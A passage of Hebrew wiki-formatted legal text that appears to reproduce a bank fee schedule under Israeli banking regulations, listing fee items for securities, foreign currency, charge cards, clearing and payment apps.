{{ח:תת|(2)}} העברת ניירות ערך לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש״ח להעברת התיק והוצאות צד ג׳&lt;sup&gt;3&lt;/sup&gt;{{ח:הערה|;}}
{{ח:תת|(3)}} ”גוף פיננסי“ – כהגדרתו {{ח:חיצוני|חוק בנק ישראל|בחוק בנק ישראל, התש״ע–2010}}.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''המרת איגרות חוב ושטרי הון למניות, מימוש אופציות והמרת ניירות ערך דואליים'''
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי על פי סוג הפעולה ובלבד שלא יעלה על 2 עמלות}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''טיפול בהזמנה של ניירות ערך בהנפקה'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} איגרות חוב ממשלתיות . . . . אחוז (מינימום)
{{ח:ת}} שאר ניירות הערך . . . . אחוז (מינימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''עמלת הפצה מרוכש יחידת השתתפות בקרן נאמנות'''
&lt;/td&gt;&lt;td&gt;לפי סוג הקרן&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;במקרים המותרים לפי {{ח:חיצוני|תקנות השקעות משותפות בנאמנות (עמלת הפצה)|תקנות השקעות משותפות בנאמנות (עמלת הפצה), התשס״ו–2006}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''השאלת ניירות ערך לצורך מכירה בחסר'''
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''עמלת קסטודיאן'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 5&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 5 – מטבע חוץ&lt;sup&gt;6&lt;/sup&gt;'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''עמלת חליפין'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''הפקדת מזומן לחשבון מטבע חוץ או משיכת מזומן מחשבון מטבע חוץ'''
&lt;/td&gt;&lt;td&gt;פירוט הפרשי השער&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''החלפת מזומן''' {{ש}} {{מוקטן|שירות זה כולל: החלפת שטרות בלא שערים, ישנים או פגומים}}
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''גביית שיקים במטבע חוץ'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''הפקדת שיק / פדיון שיק או המחאת נוסעים'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} . . . . דולר + . . . . אחוז
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''מכירת המחאות נוסעים'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''שיק בנקאי'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''טיפול בשיק משוך על חשבון מטבע חוץ ומוצג לגביה'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} על ידי בנק בחוץ לארץ . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} על ידי בנק אחר בארץ . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} על ידי סניף הבנק בארץ . . . . דולר
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''העברת מטבע חוץ לחוץ לארץ ומחוץ לארץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} חד־פעמית – . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} קבועה – . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העברת רנטות או פנסיות לנפגעי נאצים פטורה מעמלה&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.10&quot;&gt;&lt;td&gt;
{{ח:תתת|(10)}} '''העברת מטבע חוץ בארץ ומבנק אחר בארץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לחשבון או מחשבון אותו לקוח – . . . . דולר (בפיקוח)
{{ח:ת}} העברה אחרת – . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} ”חשבון אותו לקוח“ – לרבות חשבון שהלקוח מנהל יחד עם בן או בת זוגו.
{{ח:ת}} העברת מטבע חוץ לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש״ח&lt;sup&gt;3&lt;/sup&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.11&quot;&gt;&lt;td&gt;
{{ח:תתת|(11)}} '''ימי ערך'''
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח לתעריפון}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.12&quot;&gt;&lt;td&gt;
{{ח:תתת|(12)}} '''כיסוי אוטומטי של יתרת חובה בחשבון מטבע חוץ'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} הכיסוי האוטומטי של יתרת חובה בחשבון מטבע חוץ יבוצע מחשבון במטבע ישראלי;
{{ח:תת|(2)}} חישוב שיעור המחיר יתבצע מתוך הסכום במטבע ישראלי, אשר יומר כדי לכסות את יתרת החובה במטבע חוץ.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 6&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 6 – כרטיסי חיוב'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''דמי כרטיס'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי סוגי כרטיס שיקבע התאגיד הבנקאי בנספח לתעריפון}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;בתום חודש&lt;/td&gt;&lt;td&gt;תאגיד בנקאי לא יגבה עמלה זו בעד כרטיס חיוב מיידי שהונפק ללקוח שברשותו כרטיס אשראי בתוקף שהונפק על ידי אותו תאגיד בנקאי וזאת לתקופה של 36 חודשים ממועד ההנפקה של כרטיס החיוב המיידי.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.1א&quot;&gt;&lt;td&gt;
{{ח:תתת|(1א)}} '''דמי טעינה (לגבי כרטיסים נטענים בלבד)'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''עמלת תשלום נדחה''' בשל עסקאות שבוצעו עד יום י״א בשבט התשע״ה (31 בינואר 2015)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''שינוי מועד חיוב''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''טיפול בהכחשה לא מוצדקת של עסקה'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''פירעון מוקדם או פירעון מיידי של עסקאות'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לבקשה פירעון מוקדם של כל העסקאות בשל ביטול הכרטיס ייחשב לבקשה אחת;
{{ח:ת}} סך כל העמלות בעד ביטול כרטיס אגב סגירת חשבון במקרה שמנפיק הכרטיס הוא הבנק, יהיה כפוף לתקרה של 40 ש״ח{{ח:הערה|.}}
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''הנפקת כרטיס חליפי'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} הנפקה רגילה . . . . ש״ח
{{ח:ת}} הנפקה מיידית . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''עסקאות במטבע חוץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} עסקאות בדולר או באירו . . . . אחוז
{{ח:ת}} עסקאות במטבע אחר . . . . אחוז
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין־לאומי.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''משיכת מטבע חוץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} משיכת מזומן בדולר או באירו ממכשיר אוטומטי – . . . . אחוז
{{ח:ת}} משיכת מזומן במטבע אחר ממכשיר אוטומטי – . . . . אחוז
{{ח:ת}} משיכת מזומן בדולר או באירו בדלפק – . . . . אחוז
{{ח:ת}} משיכת מזומן במטבע אחר בדלפק – . . . . אחוז
{{ח:ת}} משיכת מזומן במטבע חוץ מחשבון המנוהל באותו מטבע – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין־לאומי.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''רכישת מטבע חוץ מחלפן באמצעות כרטיס אשראי'''
&lt;/td&gt;&lt;td&gt;. . . . דולר&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 7&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 7 – סחר חוץ'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 8&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 8 – עסקאות עתידיות, עסקאות בין־מטבעיות ואחרות'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 9&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 9 – שירותים מיוחדים'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;
{{ח:ת}} לפי פירוט שיקבע התאגיד הבנקאי
{{ח:ת}} {{מוקטן|למשל: שמירת דואר בסניף, שכירת כספות, טיפול בשטרות, טיפול בירושות ועיזבונות, משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי, טיפול בהמחאת זכות, ייעוץ פנסיוני כהגדרתו {{ח:חיצוני|חוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים)|בחוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים), התשס״ה–2005}}, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס נטען שלא מקושר לחשבון עובר ושב&lt;sup&gt;7&lt;/sup&gt;, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס חיוב אשר הונפק בחו״ל או על ידי שלוחה של בנק זר {{ש}} {{ח:הערה|(החל מיום 1.10.2026):}} למשל: שמירת דואר בסניף, שכירת כספות, משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי, טיפול בהמחאת זכות, ייעוץ פנסיוני כהגדרתו {{ח:חיצוני|חוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים)|בחוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים), התשס״ה–2005}}, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס נטען שלא מקושר לחשבון עובר ושב&lt;sup&gt;7&lt;/sup&gt;, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס חיוב אשר הונפק בחו״ל או על ידי שלוחה של בנק זר}}
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 10&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 10 – יהלומים'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 11&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 11 – הוצאות צד שלישי'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;
{{ח:ת}} לפי פירוט שיקבע התאגיד הבנקאי בהתאם להוצאות הממשיות. התאגיד הבנקאי יציין בהערות לכל שירות אם נגבו בעדו הוצאות בעבור צד שלישי.
{{ח:ת}} {{מוקטן|למשל: {{ש}} אגרות רישום שונות {{ש}} הערכת שמאי {{ש}} ביטוח הלוואה לדיור EMI {{ש}} ייפוי כוח נוטריוני {{ש}} בדיקת רישומים ברשם החברות {{ש}} בדיקת רישומים ברשם המקרקעין {{ש}} החזר שיק או הרשאה לחיוב חשבון לטובת הבנק {{ש}} הוצאות בנק קורספונדנט {{ש}} הוצאות ברוקר בחוץ לארץ {{ש}} ביטוח כספת {{ש}} דואר לחוץ לארץ {{ש}} דואר רשום {{ש}} משלוח כרטיס חיוב חליפי לחוץ לארץ {{ש}} שימוש במכשירים לקריאת כרטיסי חיוב {{ש}} משיכת מזומן במטבע חוץ בחוץ לארץ בדלפק}}
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 12&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 12 – סליקה של עסקאות בכרטיס חיוב'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} דמי ניהול חשבון סליקה
&lt;/td&gt;&lt;td&gt;בית עסק פעיל – . . . . ש״ח&lt;/td&gt;&lt;td&gt;בתחילת החודש בעד החודש שקדם לו&lt;/td&gt;&lt;td&gt;”בית עסק פעיל“ – בית עסק שנסלקה בעבורו פעולת סליקה אחת לפחות במהלך חודש; תאגיד בנקאי לא יגבה מבית עסק פעיל עמלה זו אם סך עמלות הסליקה באותו חודש גבוה ממנה, ובכל מקרה סכומה לא יעלה על ההפרש שבינה לבין סך עמלות הסליקה; העמלה תחושב פעם אחת בחודש בעבור כל סוגי כרטיסי החיוב הנסלקים יחד, ובהתייחס לכלל העסקאות, לרבות עסקאות שנוכו על ידי נותן שירותי ניכיון כהגדרתו {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 7א|בסעיף 7א לחוק הבנקאות (שירות ללקוח), התשמ״א–1981}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} דמי הצטרפות של בית עסק אלקטרוני
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;”בית עסק אלקטרוני“ – בית עסק המאפשר ביצוע פעולות מכירה או קנייה, שהתשלום בעדן מבוצע באמצעות האינטרנט או באמצעות הטלפון הנייד (הסלולרי)&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} שירותי אימות פרטים וביטוח
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} ביטוח עסקה – . . . . ש״ח לעסקה
{{ח:ת}} אימות פרטים לכרטיס – . . . . ש״ח לעסקה
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} ביטול עסקה
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} החזר חיוב (Charge Back)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} עיבוד שובר ידני
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לשובר&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} עמלת סליקה
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;לפי פירוט שייקבע בהסכם ההתקשרות עם בית העסק&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 13&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 13 – שירותי ניכיון לבתי עסק'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 14&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 14 – אפליקציית תשלום&lt;sup&gt;8&lt;/sup&gt;'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''14(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} קבלת תשלום (מעבר לסף פעילות של . . . . ש״ח בשנה)
&lt;/td&gt;&lt;td&gt;כפי שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} עמלה זו תיגבה בעד זיכוי המתקבל בחשבון תשלום שמנהלת אפליקציית התשלום בעבור הלקוח, או זיכוי המועבר לחשבון תשלום אחר של המוטב;
{{ח:תת|(2)}} התאגיד הבנקאי לא יגבה מלקוח עמלת ”פעולה בערוץ ישיר“ לפי {{ח:פנימי|תוספת 1 פרט 1א.3|פסקה (3) לפרט 1(א) לחלק 1 לתוספת זו}}, נוסף על עמלה זו בעבור אותו זיכוי;
{{ח:תת|(3)}} סף הפעילות לא יפחת מ־25,000 ש״ח, {{ח:הערה|(החל מיום 1.1.2027):}} אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} ביצוע הוראת תשלום (מעבר לסף פעילות של . . . . ש״ח בשנה)
&lt;/td&gt;&lt;td&gt;כפי שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} עמלה זו תיגבה בעד חיוב בחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם, או חיוב המועבר לחשבון תשלום אחר של המוטב; השירות אינו כולל משיכת יתרה מחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם אל חשבון תשלום אחר של המשלם;
{{ח:תת|(2)}} התאגיד הבנקאי לא יגבה מלקוח עמלת ”פעולה בערוץ ישיר“ לפי {{ח:פנימי|תוספת 1 פרט 1א.3|פסקה (3) לפרט 1(א) לחלק 1 לתוספת זו}}, נוסף על עמלה זו בעבור אותה הוראת תשלום;
{{ח:תת|(3)}} סף הפעילות לא יפחת מ־25,000 ש״ח, {{ח:הערה|(החל מיום 1.1.2027):}} אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''14(ב) – שירותים מיוחדים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת}} דמי מנוי לשירות . . . . (לפי פירוט שיקבע התאגיד הבנקאי ובאישור המפקח על הבנקים)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 15&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 15 – שירותי ריכוז מידע פיננסי של לקוח וניתוחו&lt;sup&gt;9&lt;/sup&gt;'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 15&quot;&gt;&lt;td&gt;
{{ח:תת|15}} לפי פירוט שיקבע התאגיד הבנקאי
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

{{ח:ת}} {{ח:הערה|(החל מיום 1.7.2027):}}
{{ח:ת}} &lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;&lt;th width=&quot;40%&quot;&gt;שירות&lt;/th&gt;&lt;th&gt;מחיר&lt;/th&gt;&lt;th&gt;מועד הגביה&lt;/th&gt;&lt;th&gt;הערות&lt;/th&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 1&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 1 – חשבון תשלום'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''1(א) – שירותים נפוצים בחשבון עובר ושב'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''דמי ניהול חשבון לעסק קטן''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.1א&quot;&gt;&lt;td&gt;
{{ח:תתת|(1א)}} '''ניהול חשבון תשלום'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} 0 עד 2 פעולות בחודש . . . . ש״ח (בפיקוח)
{{ח:ת}} 3 עד 100 פעולות בחודש . . . . ש״ח (בפיקוח)
{{ח:ת}} . . . . ש״ח לפעולה נוספת מעל 100 פעולות (בפיקוח)
&lt;/td&gt;&lt;td&gt;אחת לחודש&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} ראו {{ח:פנימי|נספח ו|בנספח ו׳}} את פירוט סוגי השירותים הנכללים בשירות זה;
{{ח:תת|(2)}} במקרה שבו חשבון התשלום של הלקוח נסגר במהלך החודש (בין אם הלקוח סגר את חשבונו ובין אם הבנק יזם את הסגירה), רשאי התאגיד הבנקאי לחייבו בעלות הכוללת לאותו חודש&lt;sup&gt;3&lt;/sup&gt;;
